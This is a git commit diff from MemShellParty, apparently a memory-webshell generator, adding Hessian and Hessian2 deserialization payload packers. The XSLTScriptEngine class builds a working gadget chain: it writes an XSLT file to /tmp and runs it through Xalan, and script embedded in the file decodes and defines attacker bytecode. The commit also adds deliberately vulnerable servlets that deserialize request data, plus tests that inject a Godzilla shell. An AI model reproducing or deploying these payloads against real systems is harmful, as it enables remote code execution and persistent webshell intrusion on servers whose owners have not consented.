archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-22 07:00:43 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

feat: support hessian packer (#36)

Browse Source
This commit is contained in:
ReaJason
2025-02-20 22:28:34 +08:00
parent 3e40763724
commit 18aa8ed60d
22 changed files with 349 additions and 49 deletions
Download Patch File Download Diff File Expand all files Collapse all files
boot/Dockerfile
+4 -1
View File
@@ -10,7 +10,10 @@ WORKDIR /app
COPY build/libs/boot-${VERSION}.jar app.jar
ENV JAVA_OPTS="" \
INTER_JAVA_OPTS="--add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
INTER_JAVA_OPTS="\
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
EXPOSE 8080
deserialize/build.gradle
+5 -26
View File
@@ -8,40 +8,19 @@ version = rootProject.version
dependencies {
implementation 'net.bytebuddy:byte-buddy'
implementation 'commons-beanutils:commons-beanutils:1.9.3'
implementation 'com.caucho:hessian:4.0.66'
implementation 'commons-beanutils:commons-beanutils:1.9.4'
testImplementation platform('org.junit:junit-bom')
testImplementation 'org.junit.jupiter:junit-jupiter'
}
def runtimeJvmArgs = [
'--add-opens=java.base/java.lang=ALL-UNNAMED',
'--add-opens=java.base/java.util=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
tasks.withType(JavaCompile).configureEach {
options.compilerArgs += [
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
}
tasks.withType(Test).configureEach {
jvmArgs += runtimeJvmArgs
}
// For running the application
tasks.withType(JavaExec).configureEach {
jvmArgs += runtimeJvmArgs
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(11)
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
test {
deserialize/src/main/java/com/reajason/javaweb/deserialize/Hessian2DeserializeGenerator.java
+24
View File
@@ -0,0 +1,24 @@
package com.reajason.javaweb.deserialize;
import com.caucho.hessian.io.Hessian2Output;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class Hessian2DeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
PayloadType payloadType = config.getPayloadType();
Object obj = payloadType.getPayload().generate(bytes, className);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(bos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(obj);
hessian2Output.close();
return bos.toByteArray();
}
}
deserialize/src/main/java/com/reajason/javaweb/deserialize/HessianDeserializeGenerator.java
+24
View File
@@ -0,0 +1,24 @@
package com.reajason.javaweb.deserialize;
import com.caucho.hessian.io.HessianOutput;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class HessianDeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
PayloadType payloadType = config.getPayloadType();
Object obj = payloadType.getPayload().generate(bytes, className);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(bos);
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput.writeObject(obj);
hessianOutput.close();
return bos.toByteArray();
}
}
deserialize/src/main/java/com/reajason/javaweb/deserialize/Payload.java
+14 -1
View File
@@ -11,5 +11,18 @@ public interface Payload {
* @param bytes 恶意类字节流
* @return 序列化对象
*/
Object generate(byte[] bytes);
default Object generate(byte[] bytes) {
throw new UnsupportedOperationException();
}
/**
* 将恶意类字节流封装成序列化对象
*
* @param bytes 恶意类字节流
* @param className 恶意类名
* @return 序列化对象
*/
default Object generate(byte[] bytes, String className) {
throw new UnsupportedOperationException();
}
}
deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java
+9 -1
View File
@@ -1,6 +1,10 @@
package com.reajason.javaweb.deserialize;
import com.reajason.javaweb.deserialize.payload.*;
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils110;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils16;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils18;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
import lombok.Getter;
/**
@@ -17,6 +21,10 @@ public enum PayloadType {
CommonsBeanutils19(new CommonsBeanutils19()),
CommonsBeanutils110(new CommonsBeanutils110()),
/**
* Hessian XSLT write
*/
XSLTScriptEngine(new XSLTScriptEngine())
;
private final Payload payload;
deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/hessian/XSLTScriptEngine.java
+51
View File
@@ -0,0 +1,51 @@
package com.reajason.javaweb.deserialize.payload.hessian;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.utils.HessianUtils;
import com.reajason.javaweb.deserialize.utils.Reflections;
import lombok.SneakyThrows;
import javax.swing.*;
import java.util.Arrays;
import java.util.Base64;
import java.util.HashMap;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class XSLTScriptEngine implements Payload {
@Override
@SneakyThrows
public Object generate(byte[] bytes, String className) {
String base64Str = Base64.getEncoder().encodeToString(bytes);
String tmpPath = "/tmp/CACHE_XML";
String xml = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
" xmlns:se=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager\"\n" +
" xmlns:js=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngine\">\n" +
" <xsl:template match=\"/\">\n" +
" <xsl:variable name=\"js\" select=\"&quot;var classLoader = java.lang.Thread.currentThread().getContextClassLoader();var className = '" + className + "';var base64Str = '" + base64Str + "';try { classLoader.loadClass(className).newInstance();} catch (e) { var clsString = classLoader.loadClass('java.lang.String'); var bytecode; try { var clsBase64 = classLoader.loadClass('java.util.Base64'); var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder'); var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz); bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, base64Str); } catch (ee) { try { var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter'); bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, base64Str); } catch (eee) { var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder'); bytecode = clazz1.newInstance().decodeBuffer(base64Str); } } var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); var clsByteArray = (new java.lang.String('a').getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance();}new java.io.File('" + tmpPath + "').delete()&quot;\" />\n" +
" <xsl:variable name=\"result\" select=\"js:eval(se:getEngineByName(se:new(),'js'), $js)\"/>\n" +
" <xsl:value-of select=\"$result\"/>\n" +
" </xsl:template>\n" +
"</xsl:stylesheet>\n";
UIDefaults.ProxyLazyValue writeValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{tmpPath, xml.getBytes()});
Reflections.setFieldValue(writeValue, "acc", null);
UIDefaults.ProxyLazyValue processValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file://" + tmpPath}});
Reflections.setFieldValue(processValue, "acc", null);
HashMap<Object, Object> map1 = new HashMap<>(1);
HashMap<Object, Object> map2 = new HashMap<>(1);
HashMap<Object, Object> map3 = new HashMap<>(1);
HashMap<Object, Object> map4 = new HashMap<>(1);
map1.put("a", new UIDefaults(new Object[]{"abc", writeValue}));
map2.put("a", new UIDefaults(new Object[]{"abc", writeValue}));
map3.put("b", new UIDefaults(new Object[]{"ccc", processValue}));
map4.put("b", new UIDefaults(new Object[]{"ccc", processValue}));
return HessianUtils.toMap(Arrays.asList(map1, map2, map3, map4));
}
}
deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/HessianUtils.java
+32
View File
@@ -0,0 +1,32 @@
package com.reajason.javaweb.deserialize.utils;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.List;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class HessianUtils {
public static HashMap<?, ?> toMap(List<?> objs) throws Exception {
HashMap<?, ?> s = new HashMap<>(8);
Reflections.setFieldValue(s, "size", objs.size());
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException var6) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, objs.size());
for (int i = 0; i < objs.size(); i++) {
Array.set(tbl, i, nodeCons.newInstance(0, objs.get(i), objs.get(i), null));
}
Reflections.setFieldValue(s, "table", tbl);
return s;
}
}
deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java
+20 -2
View File
@@ -1,7 +1,11 @@
package com.reajason.javaweb.deserialize.utils;
import com.reajason.javaweb.deserialize.payload.CommonsBeanutils19;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attributes;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
/**
@@ -19,7 +23,7 @@ public class Reflections {
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, CommonsBeanutils19.class, offset, module);
getAndSetObjectM.invoke(unsafe, Reflections.class, offset, module);
} catch (Exception ignored) {
}
}
@@ -47,4 +51,18 @@ public class Reflections {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Object createWithoutConstructor(String classname) throws Exception {
return createWithoutConstructor(Class.forName(classname));
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws Exception {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
}
generator/build.gradle
-7
View File
@@ -22,13 +22,6 @@ def runtimeJvmArgs = [
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
tasks.withType(JavaCompile).configureEach {
options.compilerArgs += [
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
}
tasks.withType(Test).configureEach {
jvmArgs += runtimeJvmArgs
}
generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java
+13
View File
@@ -5,6 +5,10 @@ import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
import com.reajason.javaweb.memshell.packer.bsh.BeanShellPacker;
import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2Packer;
import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2XSLTScriptEnginePacker;
import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianPacker;
import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianXSLTScriptEnginePacker;
import com.reajason.javaweb.memshell.packer.deserialize.java.*;
import com.reajason.javaweb.memshell.packer.el.ELPacker;
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
@@ -96,6 +100,15 @@ public enum Packers {
JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
/**
* Hessian 反序列化打包器
*/
Hessian2Deserialize(new Hessian2Packer()),
Hessian2XSLTScriptEngine(new Hessian2XSLTScriptEnginePacker(), Hessian2Packer.class),
HessianDeserialize(new HessianPacker()),
HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
AgentJar(new AgentJarPacker()),
XxlJob(new XxlJobPacker()),
generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2Packer.java
+17
View File
@@ -0,0 +1,17 @@
package com.reajason.javaweb.memshell.packer.deserialize.hessian;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.Hessian2DeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.AggregatePacker;
import com.reajason.javaweb.memshell.packer.Packer;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2025/2/20
*/
public class Hessian2Packer implements AggregatePacker {
}
generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2XSLTScriptEnginePacker.java
+24
View File
@@ -0,0 +1,24 @@
package com.reajason.javaweb.memshell.packer.deserialize.hessian;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.Hessian2DeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2025/2/20
*/
public class Hessian2XSLTScriptEnginePacker implements Packer {
@Override
public String pack(GenerateResult generateResult) {
byte[] injectorBytes = generateResult.getInjectorBytes();
String injectorClassName = generateResult.getInjectorClassName();
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
byte[] generate = Hessian2DeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
return Base64.encodeBase64String(generate);
}
}
generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/HessianPacker.java
+11
View File
@@ -0,0 +1,11 @@
package com.reajason.javaweb.memshell.packer.deserialize.hessian;
import com.reajason.javaweb.memshell.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2025/2/20
*/
public class HessianPacker implements AggregatePacker {
}
generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/HessianXSLTScriptEnginePacker.java
+24
View File
@@ -0,0 +1,24 @@
package com.reajason.javaweb.memshell.packer.deserialize.hessian;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.HessianDeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2025/2/20
*/
public class HessianXSLTScriptEnginePacker implements Packer {
@Override
public String pack(GenerateResult generateResult) {
byte[] injectorBytes = generateResult.getInjectorBytes();
String injectorClassName = generateResult.getInjectorClassName();
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
byte[] generate = HessianDeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
return Base64.encodeBase64String(generate);
}
}
integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java
+3
View File
@@ -78,6 +78,7 @@ public class ShellAssertionTool {
} else {
content = packer.getInstance().pack(generateResult);
assertInjectIsOk(url, shellType, shellTool, content, packer, container);
log.info("send inject payload successfully");
}
switch (shellTool) {
@@ -247,6 +248,8 @@ public class ShellAssertionTool {
case JavaCommonsBeanutils18 -> VulTool.postData(url + "/java_deserialize/cb183", content);
case JavaCommonsBeanutils19 -> VulTool.postData(url + "/java_deserialize/cb194", content);
case JavaCommonsBeanutils110 -> VulTool.postData(url + "/java_deserialize/cb110", content);
case HessianDeserialize -> VulTool.postData(url + "/hessian", content);
case Hessian2Deserialize -> VulTool.postData(url + "/hessian2", content);
case Base64 -> VulTool.postData(url + "/b64", content);
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
default -> throw new IllegalStateException("Unexpected value: " + packer);
integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java
+3 -1
View File
@@ -46,7 +46,9 @@ public class Tomcat8DeserializeContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils17),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils18),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils19),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils110)
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils110),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize)
);
}
vul/vul-webapp-deserialize/build.gradle
+8 -7
View File
@@ -28,6 +28,7 @@ dependencies {
cb170 'commons-beanutils:commons-beanutils:1.7.0'
cb161 'commons-beanutils:commons-beanutils:1.6.1'
implementation 'com.caucho:hessian:4.0.66'
providedCompile 'javax.servlet:javax.servlet-api:3.1.0'
}
@@ -35,18 +36,18 @@ war {
duplicatesStrategy = DuplicatesStrategy.EXCLUDE
doFirst {
delete "${webAppDir}/WEB-INF/dep"
delete "src/main/webapp/WEB-INF/dep"
copy { from configurations.cb110 into "${webAppDir}/WEB-INF/dep" }
copy { from configurations.cb194 into "${webAppDir}/WEB-INF/dep" }
copy { from configurations.cb183 into "${webAppDir}/WEB-INF/dep" }
copy { from configurations.cb170 into "${webAppDir}/WEB-INF/dep" }
copy { from configurations.cb161 into "${webAppDir}/WEB-INF/dep" }
copy { from configurations.cb110 into "src/main/webapp/WEB-INF/dep" }
copy { from configurations.cb194 into "src/main/webapp/WEB-INF/dep" }
copy { from configurations.cb183 into "src/main/webapp/WEB-INF/dep" }
copy { from configurations.cb170 into "src/main/webapp/WEB-INF/dep" }
copy { from configurations.cb161 into "src/main/webapp/WEB-INF/dep" }
}
}
clean {
delete "${webAppDir}/WEB-INF/dep"
delete "src/main/webapp/WEB-INF/dep"
}
test {
vul/vul-webapp-deserialize/src/main/java/Hessian2ReadObjServlet.java
+28
View File
@@ -0,0 +1,28 @@
import com.caucho.hessian.io.AbstractHessianInput;
import com.caucho.hessian.io.Hessian2Input;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.util.Base64;
/**
* @author ReaJason
* @since 2025/2/20
*/
@WebServlet("/hessian2")
public class Hessian2ReadObjServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
byte[] base64 = Base64.getDecoder().decode(data);
ByteArrayInputStream bis = new ByteArrayInputStream(base64);
AbstractHessianInput in = new Hessian2Input(bis);
in.readObject();
}
}
vul/vul-webapp-deserialize/src/main/java/HessianReadObjServlet.java
+28
View File
@@ -0,0 +1,28 @@
import com.caucho.hessian.io.AbstractHessianInput;
import com.caucho.hessian.io.HessianInput;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.util.Base64;
/**
* @author ReaJason
* @since 2025/2/20
*/
@WebServlet("/hessian")
public class HessianReadObjServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
byte[] base64 = Base64.getDecoder().decode(data);
ByteArrayInputStream bis = new ByteArrayInputStream(base64);
AbstractHessianInput in = new HessianInput(bis);
in.readObject();
}
}
web/src/i18n/en.json
+3 -1
View File
@@ -61,7 +61,9 @@
"ScriptEngine": "ScriptEngine",
"SpEL": "SpEL",
"Velocity": "Velocity",
"XxlJob": "XXL-JOB Executor"
"XxlJob": "XXL-JOB Executor",
"Hessian2Deserialize": "Hessian2Deserialize",
"HessianDeserialize": "HessianDeserialize"
},
"title": "Package Method"
},
web/src/i18n/zh-CN.json
+4 -2
View File
@@ -53,7 +53,7 @@
"JSP": "JSP",
"JXPath": "JXPath 表达式",
"Jar": "Jar",
"JavaDeserialize": "Java反序列化",
"JavaDeserialize": "Java 反序列化",
"JinJava": "JinJava",
"MVEL": "MVEL 表达式",
"OGNL": "OGNL 表达式",
@@ -61,7 +61,9 @@
"ScriptEngine": "内置脚本引擎",
"SpEL": "SpEL 表达式",
"Velocity": "Velocity",
"XxlJob": "XXL-JOB Executor"
"XxlJob": "XXL-JOB Executor",
"Hessian2Deserialize": "Hessian2 反序列化",
"HessianDeserialize": "Hessian 反序列化"
},
"title": "打包方式"
},